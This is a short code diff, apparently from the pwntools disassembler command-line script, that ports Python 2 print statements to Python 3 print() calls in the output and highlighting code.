             b = b.replace('0a', text.red('0a'))
             i = highlight(i.strip(), PwntoolsLexer(), TerminalFormatter()).strip()
             i = i.replace(',',', ')
 
-            print o,b,i
+            print(o,b,i)
         return
 
-    print disasm(dat, vma=safeeval.const(args.address))
+    print(disasm(dat, vma=safeeval.const(args.address)))
 
 if __name__ == '__main__':
     pwnlib.commandline.common.main(__file__)